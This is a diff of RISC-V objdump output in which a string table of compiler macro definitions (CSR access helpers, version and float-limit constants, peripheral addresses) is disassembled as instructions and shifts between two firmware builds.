+    6aee:	2045                	jal	6b8e <__stack_size+0x638e>
+    6af0:	0031                	c.nop	12
+    6af2:	535f 5359 435f      	0x435f5359535f
+    6af8:	4544                	lw	s1,12(a0)
+    6afa:	5346                	lw	t1,112(sp)
+    6afc:	485f 205f 4d00      	0x4d00205f485f
+    6b02:	4f5a                	lw	t5,148(sp)
+    6b04:	454e                	lw	a0,208(sp)
+    6b06:	435f 5253 2852      	0x28525253435f
+    6b0c:	5f525343          	fmadd.q	ft6,ft4,fs5,fa1,unknown
+    6b10:	5858                	lw	a4,52(s0)
+    6b12:	2958                	fld	fa4,144(a0)
+    6b14:	2820                	fld	fs0,80(s0)
+    6b16:	6572207b          	0x6572207b
+    6b1a:	74736967          	0x74736967
+    6b1e:	7265                	lui	tp,0xffff9
+    6b20:	7520                	flw	fs0,104(a0)
+    6b22:	736e                	flw	ft6,248(sp)
+    6b24:	6769                	lui	a4,0x1a
+    6b26:	656e                	flw	fa0,216(sp)
+    6b28:	2064                	fld	fs1,192(s0)
+    6b2a:	6f6c                	flw	fa1,92(a4)
+    6b2c:	676e                	flw	fa4,216(sp)
+    6b2e:	6120                	flw	fs0,64(a0)
+    6b30:	2030                	fld	fa2,64(s0)
+    6b32:	7361                	lui	t1,0xffff8
+    6b34:	206d                	jal	6bde <__stack_size+0x63de>
+    6b36:	2228                	fld	fa0,64(a2)
+    6b38:	3061                	jal	63c0 <__stack_size+0x5bc0>
+    6b3a:	2922                	fld	fs2,8(sp)
+    6b3c:	7361203b          	0x7361203b
+    6b40:	206d                	jal	6bea <__stack_size+0x63ea>
+    6b42:	6f76                	flw	ft10,92(sp)
+    6b44:	616c                	flw	fa1,68(a0)
+    6b46:	6974                	flw	fa3,84(a0)
+    6b48:	656c                	flw	fa1,76(a0)
+    6b4a:	2820                	fld	fs0,80(s0)
+    6b4c:	2220                	fld	fs0,64(a2)
+    6b4e:	766d                	lui	a2,0xffffb
+    6b50:	6120                	flw	fs0,64(a0)
+    6b52:	2c31                	jal	6d6e <__stack_size+0x656e>
+    6b54:	2520                	fld	fs0,72(a0)
+    6b56:	3b31                	jal	6872 <__stack_size+0x6072>
+    6b58:	2022                	fld	ft0,8(sp)
+    6b5a:	6c22                	flw	fs8,8(sp)
+    6b5c:	2069                	jal	6be6 <__stack_size+0x63e6>
+    6b5e:	3061                	jal	63e6 <__stack_size+0x5be6>
+    6b60:	202c                	fld	fa1,64(s0)
+    6b62:	3b38                	fld	fa4,112(a4)
+    6b64:	2022                	fld	ft0,8(sp)
+    6b66:	7a6d                	lui	s4,0xffffb
+    6b68:	20656e6f          	jal	t3,5cd6e <__stack_size+0x5c56e>
+    6b6c:	203a                	fld	ft0,392(sp)
+    6b6e:	3d22                	fld	fs10,40(sp)
+    6b70:	2272                	fld	ft4,280(sp)
+    6b72:	6128                	flw	fa0,64(a0)
+    6b74:	2930                	fld	fa2,80(a0)
+    6b76:	3a20                	fld	fs0,112(a2)
+    6b78:	2220                	fld	fs0,64(a2)
+    6b7a:	2272                	fld	ft4,280(sp)
+    6b7c:	2828                	fld	fa0,80(s0)
+    6b7e:	6e75                	lui	t3,0x1d
+    6b80:	6e676973          	csrrsi	s2,0x6e6,14
+    6b84:	6465                	lui	s0,0x19
+    6b86:	6c20                	flw	fs0,88(s0)
+    6b88:	29676e6f          	jal	t3,7ce1e <__stack_size+0x7c61e>
+    6b8c:	5f525343          	fmadd.q	ft6,ft4,fs5,fa1,unknown
+    6b90:	5858                	lw	a4,52(s0)
+    6b92:	2958                	fld	fa4,144(a0)
+    6b94:	3a20                	fld	fs0,112(a2)
+    6b96:	2220                	fld	fs0,64(a2)
+    6b98:	3161                	jal	6820 <__stack_size+0x6020>
+    6b9a:	2922                	fld	fs2,8(sp)
+    6b9c:	3061203b          	0x3061203b
+    6ba0:	297d203b          	0x297d203b
+    6ba4:	5f00                	lw	s0,56(a4)
+    6ba6:	465f 544c 4d5f      	0x4d5f544c465f
+    6bac:	5841                	li	a6,-16
+    6bae:	5f5f 3320 342e      	0x342e33205f5f
+    6bb4:	3230                	fld	fa2,96(a2)
+    6bb6:	3238                	fld	fa4,96(a2)
+    6bb8:	36363433          	0x36363433
+    6bbc:	32353833          	0x32353833
+    6bc0:	3838                	fld	fa4,112(s0)
+    6bc2:	3935                	jal	67fe <__stack_size+0x5ffe>
+    6bc4:	3138                	fld	fa4,96(a0)
+    6bc6:	3731                	jal	6ad2 <__stack_size+0x62d2>
+    6bc8:	3430                	fld	fa2,104(s0)
+    6bca:	3831                	jal	63e6 <__stack_size+0x5be6>
+    6bcc:	34383433          	0x34383433
+    6bd0:	3135                	jal	67fc <__stack_size+0x5ffc>
+    6bd2:	3936                	fld	fs2,360(sp)
+    6bd4:	3532                	fld	fa0,296(sp)
+    6bd6:	2b65                	jal	718e <__stack_size+0x698e>
+    6bd8:	00463833          	sltu	a6,a2,tp
+    6bdc:	5f5f 4f4c 474e      	0x474e4f4c5f5f
+    6be2:	4c5f 4e4f 5f47      	0x5f474e4f4c5f
+    6be8:	54444957          	0x54444957
+    6bec:	5f48                	lw	a0,60(a4)
+    6bee:	205f 3436 4900      	0x49003436205f
+    6bf4:	544e                	lw	s0,240(sp)
+    6bf6:	4c5f 4145 5453      	0x545341454c5f
+    6bfc:	3436                	fld	fs0,360(sp)
+    6bfe:	4d5f 4e49 5f00      	0x5f004e494d5f
+    6c04:	4d5f 4341 4948      	0x494843414d5f
+    6c0a:	454e                	lw	a0,208(sp)
+    6c0c:	455f 444e 4149      	0x4149444e455f
+    6c12:	5f4e                	lw	t5,240(sp)
+    6c14:	5f48                	lw	a0,60(a4)
+    6c16:	205f 5f00 6c5f      	0x6c5f5f00205f
+    6c1c:	5f6b636f          	jal	t1,bd212 <__stack_size+0xbca12>
+    6c20:	6e69                	lui	t3,0x1a
+    6c22:	7469                	lui	s0,0xffffa
+    6c24:	6c28                	flw	fa0,88(s0)
+    6c26:	296b636f          	jal	t1,bcebc <__stack_size+0xbc6bc>
+    6c2a:	2820                	fld	fs0,80(s0)
+    6c2c:	7628                	flw	fa0,104(a2)
+    6c2e:	2964696f          	jal	s2,4cec4 <__stack_size+0x4c6c4>
+    6c32:	3020                	fld	fs0,96(s0)
+    6c34:	0029                	c.nop	10
+    6c36:	535f 5f43 3656      	0x36565f43535f
+    6c3c:	4c5f 3650 5f34      	0x5f3436504c5f
+    6c42:	3646464f          	fnmadd.q	fa2,fa2,ft4,ft6,rmm
+    6c46:	2034                	fld	fa3,64(s0)
+    6c48:	535f 5f43 3756      	0x37565f43535f
+    6c4e:	4c5f 3650 5f34      	0x5f3436504c5f
+    6c54:	3646464f          	fnmadd.q	fa2,fa2,ft4,ft6,rmm
+    6c58:	0034                	addi	a3,sp,8
+    6c5a:	4e49                	li	t3,18
+    6c5c:	3654                	fld	fa3,168(a2)
+    6c5e:	5f34                	lw	a3,120(a4)
+    6c60:	494d                	li	s2,19
+    6c62:	004e                	c.slli	zero,0x13
+    6c64:	5f5f 454e 4c57      	0x4c57454e5f5f
+    6c6a:	4249                	li	tp,18
+    6c6c:	485f 5f5f 3120      	0x31205f5f485f
+    6c72:	5500                	lw	s0,40(a0)
+    6c74:	5241                	li	tp,-16
+    6c76:	5f54                	lw	a3,60(a4)
+    6c78:	4549                	li	a0,18
+    6c7a:	3020                	fld	fs0,96(s0)
+    6c7c:	3178                	fld	fa4,224(a0)
+    6c7e:	0030                	addi	a2,sp,8
+    6c80:	505f 5f43 5341      	0x53415f43505f
+    6c86:	4e59                	li	t3,22
+    6c88:	4f495f43          	fmadd.q	ft10,fs2,fs4,fs1,unknown
+    6c8c:	3920                	fld	fs0,112(a0)
+    6c8e:	5f00                	lw	s0,56(a4)
+    6c90:	545f4353          	0x545f4353
+    6c94:	5248                	lw	a0,36(a2)
+    6c96:	4145                	li	sp,17
+    6c98:	5f44                	lw	s1,60(a4)
+    6c9a:	5250                	lw	a2,36(a2)
+    6c9c:	4f49                	li	t5,18
+    6c9e:	495f 484e 5245      	0x5245484e495f
+    6ca4:	5449                	li	s0,-14
+    6ca6:	3420                	fld	fs0,104(s0)
+    6ca8:	0036                	c.slli	zero,0xd
+    6caa:	4152                	lw	sp,20(sp)
+    6cac:	444e                	lw	s0,208(sp)
+    6cae:	4d5f 5841 5f20      	0x5f2058414d5f
+    6cb4:	525f 4e41 5f44      	0x5f444e41525f
+    6cba:	414d                	li	sp,19
+    6cbc:	0058                	addi	a4,sp,4
+    6cbe:	545f 4d49 5f45      	0x5f454d49545f
+    6cc4:	5f48                	lw	a0,60(a4)
+    6cc6:	0020                	addi	s0,sp,8
+    6cc8:	5750                	lw	a2,44(a4)
+    6cca:	5f4d                	li	t5,-13
+    6ccc:	4142                	lw	sp,16(sp)
+    6cce:	30204553          	0x30204553
+    6cd2:	3178                	fld	fa4,224(a0)
+    6cd4:	3030                	fld	fa2,96(s0)
+    6cd6:	3532                	fld	fa0,296(sp)
+    6cd8:	3030                	fld	fa2,96(s0)
+    6cda:	0030                	addi	a2,sp,8
+    6cdc:	5f5f 4f53 5450      	0x54504f535f5f
+    6ce2:	3020                	fld	fs0,96(s0)
+    6ce4:	3078                	fld	fa4,224(s0)
+    6ce6:	3034                	fld	fa3,96(s0)
+    6ce8:	0030                	addi	a2,sp,8
+    6cea:	525f 4545 544e      	0x544e4545525f
+    6cf0:	535f 4749 414e      	0x414e4749535f
+    6cf6:	5f4c                	lw	a1,60(a4)
+    6cf8:	5542                	lw	a0,48(sp)
+    6cfa:	2846                	fld	fa6,80(sp)
+    6cfc:	7470                	flw	fa2,108(s0)
+    6cfe:	2972                	fld	fs2,280(sp)
+    6d00:	2820                	fld	fs0,80(s0)
+    6d02:	7028                	flw	fa0,96(s0)
+    6d04:	7274                	flw	fa3,100(a2)
+    6d06:	2d29                	jal	7320 <__stack_size+0x6b20>
+    6d08:	5f3e                	lw	t5,236(sp)
+    6d0a:	656e                	flw	fa0,216(sp)
+    6d0c:	725f2e77          	0x725f2e77
+    6d10:	6565                	lui	a0,0x19
+    6d12:	746e                	flw	fs0,248(sp)
+    6d14:	5f2e                	lw	t5,232(sp)
+    6d16:	6e676973          	csrrsi	s2,0x6e6,14
+    6d1a:	6c61                	lui	s8,0x18
+    6d1c:	625f 6675 0029      	0x296675625f
+    6d22:	5f5f 444c 4c42      	0x4c42444c5f5f
+    6d28:	485f 5341 515f      	0x515f5341485f
+    6d2e:	4955                	li	s2,21
+    6d30:	5445                	li	s0,-15
+    6d32:	4e5f 4e41 5f5f      	0x5f5f4e414e5f
+    6d38:	3120                	fld	fs0,96(a0)
+    6d3a:	4300                	lw	s0,0(a4)
+    6d3c:	4d5f5253          	0x4d5f5253
+    6d40:	4c435943          	0x4c435943
+    6d44:	2045                	jal	6de4 <__stack_size+0x65e4>
+    6d46:	3331                	jal	6a52 <__stack_size+0x6252>
+    6d48:	5f00                	lw	s0,56(a4)
+    6d4a:	414d                	li	sp,19
+    6d4c:	49544843          	fmadd.s	fa6,fs0,fs5,fs1,rmm
+    6d50:	454d                	li	a0,19
+    6d52:	485f 205f 5f00      	0x5f00205f485f
+    6d58:	465f 544c 3436      	0x3436544c465f
+    6d5e:	445f 4e45 524f      	0x524f4e45445f
+    6d64:	5f4d                	li	t5,-13
+    6d66:	494d                	li	s2,19
+    6d68:	5f4e                	lw	t5,240(sp)
+    6d6a:	205f 2e34 3439      	0x34392e34205f
+    6d70:	3630                	fld	fa2,104(a2)
+    6d72:	3635                	jal	689e <__stack_size+0x609e>
+    6d74:	3534                	fld	fa3,104(a0)
+    6d76:	3438                	fld	fa4,104(s0)
+    6d78:	3231                	jal	6684 <__stack_size+0x5e84>
+    6d7a:	3634                	fld	fa3,104(a2)
+    6d7c:	3435                	jal	67a8 <__stack_size+0x5fa8>
+    6d7e:	3134                	fld	fa3,96(a0)
+    6d80:	36353637          	lui	a2,0x36353
+    6d84:	3738                	fld	fa4,104(a4)
+    6d86:	3239                	jal	6694 <__stack_size+0x5e94>
+    6d88:	3638                	fld	fa4,104(a2)
+    6d8a:	3238                	fld	fa4,96(a2)
+    6d8c:	3132                	fld	ft2,296(sp)
+    6d8e:	65323733          	0x65323733
+    6d92:	332d                	jal	6abc <__stack_size+0x62bc>
+    6d94:	3432                	fld	fs0,296(sp)
+    6d96:	3646                	fld	fa2,112(sp)
+    6d98:	0034                	addi	a3,sp,8
+    6d9a:	5f5f 4c46 3354      	0x33544c465f5f
+    6da0:	5f32                	lw	t5,44(sp)
+    6da2:	4148                	lw	a0,4(a0)
+    6da4:	45445f53          	0x45445f53
+    6da8:	4f4e                	lw	t5,208(sp)
+    6daa:	4d52                	lw	s10,20(sp)
+    6dac:	5f5f 3120 5f00      	0x5f0031205f5f
+    6db2:	4f50                	lw	a2,28(a4)
+    6db4:	5f584953          	0x5f584953
+    6db8:	4f535f43          	fmadd.q	ft10,ft6,fs5,fs1,unknown
+    6dbc:	5255                	li	tp,-11
+    6dbe:	32204543          	fmadd.d	fa0,ft0,ft2,ft6,rmm
+    6dc2:	3030                	fld	fa2,96(s0)
+    6dc4:	3038                	fld	fa4,96(s0)
+    6dc6:	4c39                	li	s8,14
+    6dc8:	5f00                	lw	s0,56(a4)
+    6dca:	4544                	lw	s1,12(a0)
+    6dcc:	4146                	lw	sp,80(sp)
+    6dce:	4c55                	li	s8,21
+    6dd0:	5f54                	lw	a3,60(a4)
+    6dd2:	52554f53          	0x52554f53
+    6dd6:	31204543          	fmadd.s	fa0,ft0,fs2,ft6,rmm
+    6dda:	5f00                	lw	s0,56(a4)
+    6ddc:	494c                	lw	a1,20(a0)
+    6dde:	5454                	lw	a3,44(s0)
     6de0:	454c                	lw	a1,12(a0)
-    6de2:	2044                	fld	fs1,128(s0)
-    6de4:	0030                	addi	a2,sp,8
-    6de6:	5f5f 4556 5352      	0x535245565f5f
-    6dec:	4f49                	li	t5,18
-    6dee:	5f4e                	lw	t5,240(sp)
-    6df0:	205f 3122 2e30      	0x2e303122205f
-    6df6:	2e31                	jal	7112 <__stack_size+0x6912>
-    6df8:	2230                	fld	fa2,64(a2)
-    6dfa:	5f00                	lw	s0,56(a4)
-    6dfc:	455a4953          	0x455a4953
-    6e00:	545f 445f 4645      	0x4645445f545f
-    6e06:	4e49                	li	t3,18
-    6e08:	4445                	li	s0,17
-    6e0a:	0020                	addi	s0,sp,8
-    6e0c:	52525343          	fmadd.d	ft6,ft4,ft5,fa0,unknown
-    6e10:	73632857          	0x73632857
-    6e14:	2c72                	fld	fs8,280(sp)
-    6e16:	7372                	flw	ft6,60(sp)
-    6e18:	2029                	jal	6e22 <__stack_size+0x6622>
-    6e1a:	7b28                	flw	fa0,112(a4)
-    6e1c:	7520                	flw	fs0,104(a0)
-    6e1e:	736e                	flw	ft6,248(sp)
-    6e20:	6769                	lui	a4,0x1a
-    6e22:	656e                	flw	fa0,216(sp)
-    6e24:	2064                	fld	fs1,192(s0)
-    6e26:	6f6c                	flw	fa1,92(a4)
-    6e28:	676e                	flw	fa4,216(sp)
-    6e2a:	7220                	flw	fs0,96(a2)
-    6e2c:	3b64                	fld	fs1,240(a4)
-    6e2e:	6920                	flw	fs0,80(a0)
-    6e30:	2066                	fld	ft0,88(sp)
-    6e32:	5f28                	lw	a0,120(a4)
-    6e34:	625f 6975 746c      	0x746c6975625f
-    6e3a:	6e69                	lui	t3,0x1a
-    6e3c:	635f 6e6f 7473      	0x74736e6f635f
-    6e42:	6e61                	lui	t3,0x18
-    6e44:	5f74                	lw	a3,124(a4)
-    6e46:	2870                	fld	fa2,208(s0)
-    6e48:	7372                	flw	ft6,60(sp)
-    6e4a:	2029                	jal	6e54 <__stack_size+0x6654>
-    6e4c:	2626                	fld	fa2,72(sp)
-    6e4e:	2820                	fld	fs0,80(s0)
-    6e50:	6e75                	lui	t3,0x1d
-    6e52:	6e676973          	csrrsi	s2,0x6e6,14
-    6e56:	6465                	lui	s0,0x19
-    6e58:	6c20                	flw	fs0,88(s0)
-    6e5a:	29676e6f          	jal	t3,7d0f0 <__stack_size+0x7c8f0>
-    6e5e:	7228                	flw	fa0,96(a2)
-    6e60:	3c202973          	csrr	s2,0x3c2
-    6e64:	3320                	fld	fs0,96(a4)
-    6e66:	2932                	fld	fs2,264(sp)
-    6e68:	6120                	flw	fs0,64(a0)
-    6e6a:	76206d73          	csrrsi	s10,0x762,0
-    6e6e:	74616c6f          	jal	s8,1d5b4 <__stack_size+0x1cdb4>
-    6e72:	6c69                	lui	s8,0x1a
-    6e74:	2065                	jal	6f1c <__stack_size+0x671c>
-    6e76:	2228                	fld	fa0,64(a2)
-    6e78:	72727363          	bgeu	tp,t2,759e <__stack_size+0x6d9e>
-    6e7c:	25206977          	0x25206977
-    6e80:	2c30                	fld	fa2,88(s0)
-    6e82:	2220                	fld	fs0,64(a2)
-    6e84:	2320                	fld	fs0,64(a4)
-    6e86:	20727363          	bgeu	tp,t2,708c <__stack_size+0x688c>
-    6e8a:	2c22                	fld	fs8,8(sp)
-    6e8c:	2520                	fld	fs0,72(a0)
-    6e8e:	2231                	jal	6f9a <__stack_size+0x679a>
-    6e90:	3a20                	fld	fs0,112(a2)
-    6e92:	2220                	fld	fs0,64(a2)
-    6e94:	723d                	lui	tp,0xfffef
-    6e96:	2822                	fld	fa6,8(sp)
-    6e98:	6472                	flw	fs0,28(sp)
-    6e9a:	2029                	jal	6ea4 <__stack_size+0x66a4>
-    6e9c:	203a                	fld	ft0,392(sp)
-    6e9e:	4b22                	lw	s6,8(sp)
-    6ea0:	2822                	fld	fa6,8(sp)
-    6ea2:	7372                	flw	ft6,60(sp)
-    6ea4:	2929                	jal	72be <__stack_size+0x6abe>
-    6ea6:	6c65203b          	0x6c65203b
-    6eaa:	61206573          	csrrsi	a0,0x612,0
-    6eae:	76206d73          	csrrsi	s10,0x762,0
-    6eb2:	74616c6f          	jal	s8,1d5f8 <__stack_size+0x1cdf8>
-    6eb6:	6c69                	lui	s8,0x1a
-    6eb8:	2065                	jal	6f60 <__stack_size+0x6760>
-    6eba:	2228                	fld	fa0,64(a2)
-    6ebc:	72727363          	bgeu	tp,t2,75e2 <__stack_size+0x6de2>
-    6ec0:	30252077          	0x30252077
-    6ec4:	202c                	fld	fa1,64(s0)
-    6ec6:	2022                	fld	ft0,8(sp)
-    6ec8:	72736323          	0x72736323
-    6ecc:	2220                	fld	fs0,64(a2)
-    6ece:	202c                	fld	fa1,64(s0)
-    6ed0:	3125                	jal	6af8 <__stack_size+0x62f8>
-    6ed2:	2022                	fld	ft0,8(sp)
-    6ed4:	203a                	fld	ft0,392(sp)
-    6ed6:	3d22                	fld	fs10,40(sp)
-    6ed8:	2272                	fld	ft4,280(sp)
-    6eda:	7228                	flw	fa0,96(a2)
-    6edc:	2964                	fld	fs1,208(a0)
-    6ede:	3a20                	fld	fs0,112(a2)
-    6ee0:	2220                	fld	fs0,64(a2)
-    6ee2:	2272                	fld	ft4,280(sp)
-    6ee4:	7228                	flw	fa0,96(a2)
-    6ee6:	3b292973          	csrrs	s2,pmpaddr2,s2
-    6eea:	7220                	flw	fs0,96(a2)
-    6eec:	3b64                	fld	fs1,240(a4)
-    6eee:	7d20                	flw	fs0,120(a0)
-    6ef0:	0029                	c.nop	10
-    6ef2:	4e49                	li	t3,18
-    6ef4:	5f54                	lw	a3,60(a4)
-    6ef6:	454c                	lw	a1,12(a0)
-    6ef8:	5341                	li	t1,-16
-    6efa:	3854                	fld	fa3,176(s0)
-    6efc:	4d5f 4e49 5f00      	0x5f004e494d5f
-    6f02:	465f 544c 3231      	0x3231544c465f
-    6f08:	5f38                	lw	a4,120(a4)
-    6f0a:	414d                	li	sp,19
-    6f0c:	5f58                	lw	a4,60(a4)
-    6f0e:	205f 2e31 3831      	0x38312e31205f
-    6f14:	3739                	jal	6e22 <__stack_size+0x6622>
-    6f16:	39343133          	0x39343133
-    6f1a:	3335                	jal	6c46 <__stack_size+0x6446>
-    6f1c:	3735                	jal	6e48 <__stack_size+0x6648>
-    6f1e:	3332                	fld	ft6,296(sp)
-    6f20:	3731                	jal	6e2c <__stack_size+0x662c>
-    6f22:	3536                	fld	fa0,360(sp)
-    6f24:	3830                	fld	fa2,112(s0)
-    6f26:	3735                	jal	6e52 <__stack_size+0x6652>
-    6f28:	3935                	jal	6b64 <__stack_size+0x6364>
-    6f2a:	36363233          	0x36363233
-    6f2e:	3832                	fld	fa6,296(sp)
-    6f30:	3030                	fld	fa2,96(s0)
-    6f32:	65323037          	lui	zero,0x65323
-    6f36:	3339342b          	0x3339342b
-    6f3a:	4632                	lw	a2,12(sp)
-    6f3c:	3231                	jal	6848 <__stack_size+0x6048>
-    6f3e:	0038                	addi	a4,sp,8
-    6f40:	4148                	lw	a0,4(a0)
-    6f42:	4556                	lw	a0,84(sp)
-    6f44:	495f 494e 4654      	0x4654494e495f
-    6f4a:	4e49                	li	t3,18
-    6f4c:	5f49                	li	t5,-14
-    6f4e:	5241                	li	tp,-16
-    6f50:	4152                	lw	sp,20(sp)
-    6f52:	2059                	jal	6fd8 <__stack_size+0x67d8>
-    6f54:	0031                	c.nop	12
-    6f56:	4146                	lw	sp,80(sp)
-    6f58:	434e5953          	0x434e5953
-    6f5c:	5f20                	lw	s0,120(a4)
-    6f5e:	4146                	lw	sp,80(sp)
-    6f60:	434e5953          	0x434e5953
-    6f64:	5f00                	lw	s0,56(a4)
-    6f66:	4f5f4353          	0x4f5f4353
-    6f6a:	4550                	lw	a2,12(a0)
-    6f6c:	5f4e                	lw	t5,240(sp)
-    6f6e:	414d                	li	sp,19
-    6f70:	2058                	fld	fa4,128(s0)
-    6f72:	0034                	addi	a3,sp,8
-    6f74:	5f5f 695f 746e      	0x746e695f5f5f
-    6f7a:	5f38                	lw	a4,120(a4)
-    6f7c:	5f74                	lw	a3,124(a4)
-    6f7e:	6564                	flw	fs1,76(a0)
-    6f80:	6966                	flw	fs2,88(sp)
-    6f82:	656e                	flw	fa0,216(sp)
-    6f84:	2064                	fld	fs1,192(s0)
-    6f86:	0031                	c.nop	12
-    6f88:	5f5f 4953 5f47      	0x5f4749535f5f
-    6f8e:	5441                	li	s0,-16
-    6f90:	43494d4f          	fnmadd.d	fs10,fs2,fs4,fs0,rmm
-    6f94:	575f 4449 4854      	0x48544449575f
-    6f9a:	5f5f 3320 0032      	0x3233205f5f
-    6fa0:	5f525343          	fmadd.q	ft6,ft4,fs5,fa1,unknown
-    6fa4:	544d                	li	s0,-13
-    6fa6:	4556                	lw	a0,84(sp)
-    6fa8:	00322043          	fmadd.s	ft0,ft4,ft3,ft0,rdn
-    6fac:	535f 5f43 5250      	0x52505f43535f
-    6fb2:	4f49                	li	t5,18
-    6fb4:	4952                	lw	s2,20(sp)
-    6fb6:	4954                	lw	a3,20(a0)
-    6fb8:	455a                	lw	a0,148(sp)
-    6fba:	5f44                	lw	s1,60(a4)
-    6fbc:	4f49                	li	t5,18
-    6fbe:	3220                	fld	fs0,96(a2)
-    6fc0:	0038                	addi	a4,sp,8
-    6fc2:	5f5f 6972 6373      	0x637369725f5f
-    6fc8:	2076                	fld	ft0,344(sp)
-    6fca:	0031                	c.nop	12
-    6fcc:	4e494c43          	fmadd.q	fs8,fs2,ft4,fs1,rmm
-    6fd0:	5f54                	lw	a3,60(a4)
-    6fd2:	4552                	lw	a0,20(sp)
-    6fd4:	666f2847          	fmsub.q	fa6,ft10,ft6,fa2,rdn
-    6fd8:	7366                	flw	ft6,120(sp)
-    6fda:	7465                	lui	s0,0xffff9
-    6fdc:	2029                	jal	6fe6 <__stack_size+0x67e6>
-    6fde:	525f 4745 3436      	0x34364745525f
-    6fe4:	4328                	lw	a0,64(a4)
-    6fe6:	494c                	lw	a1,20(a0)
-    6fe8:	544e                	lw	s0,240(sp)
-    6fea:	425f 5341 2c45      	0x2c455341425f
-    6ff0:	6f20                	flw	fs0,88(a4)
-    6ff2:	6666                	flw	fa2,88(sp)
-    6ff4:	29746573          	csrrsi	a0,0x297,8
-    6ff8:	7300                	flw	fs0,32(a4)
-    6ffa:	5f74                	lw	a3,124(a4)
-    6ffc:	6d697463          	bgeu	s2,s6,76c4 <__stack_size+0x6ec4>
-    7000:	2065                	jal	70a8 <__stack_size+0x68a8>
-    7002:	635f7473          	csrrci	s0,0x635,30
-    7006:	6974                	flw	fa3,84(a0)
-    7008:	2e6d                	jal	73c2 <__stack_size+0x6bc2>
-    700a:	7674                	flw	fa3,108(a2)
-    700c:	735f 6365 5f00      	0x5f006365735f
-    7012:	425f 4453 565f      	0x565f4453425f
-    7018:	5349                	li	t1,-14
-    701a:	4249                	li	tp,18
-    701c:	454c                	lw	a1,12(a0)
+    6de2:	455f 444e 4149      	0x4149444e455f
+    6de8:	204e                	fld	ft0,208(sp)
+    6dea:	3231                	jal	66f6 <__stack_size+0x5ef6>
+    6dec:	5f003433          	0x5f003433
+    6df0:	545f4353          	0x545f4353
+    6df4:	5248                	lw	a0,36(a2)
+    6df6:	4145                	li	sp,17
+    6df8:	5f44                	lw	s1,60(a4)
+    6dfa:	4544                	lw	s1,12(a0)
+    6dfc:	55525453          	0x55525453
+    6e00:	524f5443          	fmadd.d	fs0,ft10,ft4,fa0,unknown
+    6e04:	495f 4554 4152      	0x41524554495f
+    6e0a:	4954                	lw	a3,20(a0)
+    6e0c:	20534e4f          	fnmadd.s	ft8,ft6,ft5,ft4,rmm
+    6e10:	3335                	jal	6b3c <__stack_size+0x633c>
+    6e12:	5f00                	lw	s0,56(a4)
+    6e14:	755f 695f 746e      	0x746e695f755f
+    6e1a:	645f 6665 6e69      	0x6e696665645f
+    6e20:	6465                	lui	s0,0x19
+    6e22:	0020                	addi	s0,sp,8
+    6e24:	5f5f 4c46 3654      	0x36544c465f5f
+    6e2a:	5834                	lw	a3,112(s0)
+    6e2c:	4d5f 4e41 5f54      	0x5f544e414d5f
+    6e32:	4944                	lw	s1,20(a0)
+    6e34:	205f5f47          	fmsub.s	ft10,ft10,ft5,ft4,unknown
+    6e38:	3131                	jal	6a44 <__stack_size+0x6244>
+    6e3a:	4d440033          	0x4d440033
+    6e3e:	5f41                	li	t5,-16
+    6e40:	5254                	lw	a3,36(a2)
+    6e42:	535f 5a49 5f45      	0x5f455a49535f
+    6e48:	2046464f          	fnmadd.s	fa2,fa2,ft4,ft4,rmm
+    6e4c:	7830                	flw	fa2,112(s0)
+    6e4e:	3035                	jal	667a <__stack_size+0x5e7a>
+    6e50:	5700                	lw	s0,40(a4)
+    6e52:	52414843          	fmadd.d	fa6,ft2,ft4,fa0,rmm
+    6e56:	4d5f 5841 5f00      	0x5f0058414d5f
+    6e5c:	434f4c43          	fmadd.d	fs8,ft10,fs4,fs0,rmm
+    6e60:	5f545f4b          	fnmsub.q	ft10,fs0,fs5,fa1,unknown
+    6e64:	4544                	lw	s1,12(a0)
+    6e66:	52414c43          	fmadd.d	fs8,ft2,ft4,fa0,rmm
+    6e6a:	4445                	li	s0,17
+    6e6c:	0020                	addi	s0,sp,8
+    6e6e:	434f4c43          	fmadd.d	fs8,ft10,fs4,fs0,rmm
+    6e72:	49445f4b          	fnmsub.s	ft10,fs0,fs4,fs1,unknown
+    6e76:	4c424153          	0x4c424153
+    6e7a:	4445                	li	s0,17
+    6e7c:	3020                	fld	fs0,96(s0)
+    6e7e:	5f00                	lw	s0,56(a4)
+    6e80:	565f 5245 4953      	0x49535245565f
+    6e86:	5f5f4e4f          	fnmadd.q	ft8,ft10,fs5,fa1,rmm
+    6e8a:	2220                	fld	fs0,64(a2)
+    6e8c:	3031                	jal	6698 <__stack_size+0x5e98>
+    6e8e:	312e                	fld	ft2,232(sp)
+    6e90:	302e                	fld	ft0,232(sp)
+    6e92:	0022                	c.slli	zero,0x8
+    6e94:	535f 5a49 5f45      	0x5f455a49535f
+    6e9a:	5f54                	lw	a3,60(a4)
+    6e9c:	4544                	lw	s1,12(a0)
+    6e9e:	4946                	lw	s2,80(sp)
+    6ea0:	454e                	lw	a0,208(sp)
+    6ea2:	2044                	fld	fs1,128(s0)
+    6ea4:	4300                	lw	s0,0(a4)
+    6ea6:	57525253          	0x57525253
+    6eaa:	6328                	flw	fa0,64(a4)
+    6eac:	722c7273          	csrrci	tp,0x722,24
+    6eb0:	28202973          	csrr	s2,0x282
+    6eb4:	6e75207b          	0x6e75207b
+    6eb8:	6e676973          	csrrsi	s2,0x6e6,14
+    6ebc:	6465                	lui	s0,0x19
+    6ebe:	6c20                	flw	fs0,88(s0)
+    6ec0:	20676e6f          	jal	t3,7d0c6 <__stack_size+0x7c8c6>
+    6ec4:	6472                	flw	fs0,28(sp)
+    6ec6:	6669203b          	0x6669203b
+    6eca:	2820                	fld	fs0,80(s0)
+    6ecc:	5f5f 7562 6c69      	0x6c6975625f5f
+    6ed2:	6974                	flw	fa3,84(a0)
+    6ed4:	5f6e                	lw	t5,248(sp)
+    6ed6:	736e6f63          	bltu	t3,s6,7614 <__stack_size+0x6e14>
+    6eda:	6174                	flw	fa3,68(a0)
+    6edc:	746e                	flw	fs0,248(sp)
+    6ede:	705f 7228 2973      	0x29737228705f
+    6ee4:	2620                	fld	fs0,72(a2)
+    6ee6:	2026                	fld	ft0,72(sp)
+    6ee8:	7528                	flw	fa0,104(a0)
+    6eea:	736e                	flw	ft6,248(sp)
+    6eec:	6769                	lui	a4,0x1a
+    6eee:	656e                	flw	fa0,216(sp)
+    6ef0:	2064                	fld	fs1,192(s0)
+    6ef2:	6f6c                	flw	fa1,92(a4)
+    6ef4:	676e                	flw	fa4,216(sp)
+    6ef6:	2829                	jal	6f10 <__stack_size+0x6710>
+    6ef8:	7372                	flw	ft6,60(sp)
+    6efa:	2029                	jal	6f04 <__stack_size+0x6704>
+    6efc:	203c                	fld	fa5,64(s0)
+    6efe:	20293233          	0x20293233
